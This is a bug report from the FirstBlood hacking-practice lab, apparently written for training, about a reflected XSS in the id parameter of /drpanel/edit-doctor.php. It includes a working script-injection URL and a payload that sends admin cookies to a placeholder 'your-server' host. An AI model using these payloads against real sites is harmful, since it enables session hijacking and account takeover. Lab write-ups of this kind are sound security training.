FirstBlood-#1265 — Reflected XSS at id parameter
This issue was discovered on FirstBlood v3

On 2022-12-09, ayush1098 Level 8 reported:

Hello Team,

Summary:

I have found a Reflected XSS on /drpanel/edit-doctor.php endpoint in the id parameter. The arbitary value in the id parameter is reflected in the source without any sanitation. We can put our payload and it will be executed without any problem.

Steps To Reproduce:

  1. Visit the https://6439d2f43a1b-ayush1098.a.firstbloodhackers.com/drpanel/edit-doctor.php?id=4%27%22%3E%3Cscript%3Ealert()%3C/script%3Exss

The alert box will pop up.

  1. You can use the following payload to steal the admin cookies
<script>var i=new Image;i.src="http://your-server/?"+document.cookie;</script>

Thanks & Regards

Ayush Singh

P3 Medium

Endpoint: /drpanel/edit-doctor.php

Parameter: id

Payload: 4%27%22%3E%3Cscript%3Ealert()%3C/script%3Exss

FirstBlood ID: 63
Vulnerability Type: Reflective XSS

The endpoint /edit-doctors.php is vulnerable to reflective XSS via the ?id parameter